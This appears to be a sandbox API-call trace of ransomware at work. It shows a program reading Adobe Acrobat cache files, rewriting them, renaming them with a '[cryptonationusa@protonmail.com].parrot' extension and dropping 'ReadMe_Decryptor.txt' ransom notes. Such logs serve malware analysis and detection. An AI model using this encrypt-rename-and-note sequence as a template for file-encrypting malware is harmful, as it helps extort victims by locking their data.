(HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0035.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0035.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d4e8 [0035.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0035.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0035.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4e8 | out: hHeap=0x5b0000) returned 1 [0035.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0035.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0035.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0035.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5cbfb8 [0035.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0035.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d2058 [0035.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbfb8 | out: hHeap=0x5b0000) returned 1 [0035.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d2138 [0035.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0035.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cc550 [0035.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2138 | out: hHeap=0x5b0000) returned 1 [0035.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0035.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0035.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0035.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0035.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0035.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0035.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5cce58 [0035.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0035.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d4d18 [0035.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0035.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x2210048 [0035.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0035.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x2211588 [0035.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0035.189] WriteFile (in: hFile=0x26c, lpBuffer=0x22115a0*, nNumberOfBytesToWrite=0x1528, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x22115a0*, lpNumberOfBytesWritten=0x18ebe4*=0x1528, lpOverlapped=0x0) returned 1 [0035.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2211588 | out: hHeap=0x5b0000) returned 1 [0035.190] UnlockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1518, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0035.190] CloseHandle (hObject=0x26c) returned 1 [0035.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5cbfb8 [0035.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5d2058 [0035.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbfb8 | out: hHeap=0x5b0000) returned 1 [0035.191] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0035.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0035.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0035.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0035.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc8d0 [0035.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5cbfb8 [0035.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0035.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0035.192] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x26c [0035.192] GetFileType (hFile=0x26c) returned 0x1 [0035.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0035.202] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0035.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d4e8 [0035.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4e8 | out: hHeap=0x5b0000) returned 1 [0035.202] lstrcmpW (lpString1="UserCache.bin", lpString2="ReadMe_Decryptor.txt") returned 1 [0035.203] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x26c [0035.203] GetFileSize (in: hFile=0x26c, lpFileSizeHigh=0x18ec60 | out: lpFileSizeHigh=0x18ec60*=0x0) returned 0x12ea5 [0035.203] LockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12fbd, nNumberOfBytesToLockHigh=0x0) returned 1 [0035.203] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0035.203] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0035.204] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.205] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x12ea5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x12ea5, lpOverlapped=0x0) returned 1 [0035.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0035.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0035.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0035.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0035.206] GetLastError () returned 0x0 [0035.206] SetLastError (dwErrCode=0x0) [0035.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0035.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0035.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0035.206] GetLastError () returned 0x0 [0035.206] SetLastError (dwErrCode=0x0) [0035.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0035.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.206] GetLastError () returned 0x0 [0035.206] SetLastError (dwErrCode=0x0) [0035.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0035.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0035.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0035.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0035.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0035.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x2210048 [0035.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0035.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x2214088 [0035.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0035.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x221c0c8 [0035.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2214088 | out: hHeap=0x5b0000) returned 1 [0035.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20033) returned 0x679240 [0035.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221c0c8 | out: hHeap=0x5b0000) returned 1 [0035.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5) returned 0x5d4960 [0035.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0035.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.211] GetLastError () returned 0x0 [0035.211] SetLastError (dwErrCode=0x0) [0035.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0035.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0035.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0035.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0035.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0035.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0035.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cbfb8 [0035.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x606a50 [0035.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbfb8 | out: hHeap=0x5b0000) returned 1 [0035.211] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0035.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d4e8 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4e8 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5cbfb8 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d2058 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbfb8 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d2138 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cc550 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2138 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0035.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0035.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0035.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0035.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0035.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0035.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0035.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0035.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x699280 [0035.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0035.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x69c218 [0035.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x699280 | out: hHeap=0x5b0000) returned 1 [0035.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x2210048 [0035.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c218 | out: hHeap=0x5b0000) returned 1 [0035.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x699280 [0035.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0035.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x2210048 [0035.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x699280 | out: hHeap=0x5b0000) returned 1 [0035.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x221f080 [0035.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0035.214] WriteFile (in: hFile=0x26c, lpBuffer=0x221f0a0*, nNumberOfBytesToWrite=0x12fc8, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x221f0a0*, lpNumberOfBytesWritten=0x18ebe4*=0x12fc8, lpOverlapped=0x0) returned 1 [0035.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221f080 | out: hHeap=0x5b0000) returned 1 [0035.215] UnlockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12fbd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0035.215] CloseHandle (hObject=0x26c) returned 1 [0035.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5cbfb8 [0035.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5d2058 [0035.216] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbfb8 | out: hHeap=0x5b0000) returned 1 [0035.216] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0035.217] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0035.217] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0035.217] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x679240 | out: hHeap=0x5b0000) returned 1 [0035.217] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc8d0 [0035.217] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5cbfb8 [0035.217] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0035.217] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0035.217] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x26c [0035.218] GetFileType (hFile=0x26c) returned 0x1 [0035.218] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0035.256] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0 [0035.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc8d0 [0035.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x5cbfb8 [0035.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc8d0 | out: hHeap=0x5b0000) returned 1 [0035.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc958 | out: hHeap=0x5b0000) returned 1 [0035.257] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0035.257] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0035.257] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5e9ec60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5e9ec60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.257] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xa5cafa80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x8a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADOBEC~1.PAR")) returned 1 [0035.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc8d0 [0035.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc8d0 | out: hHeap=0x5b0000) returned 1 [0035.257] lstrcmpW (lpString1="AdobeCMapFnt10.lst.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cc8d0 [0035.257] FindNextFileW 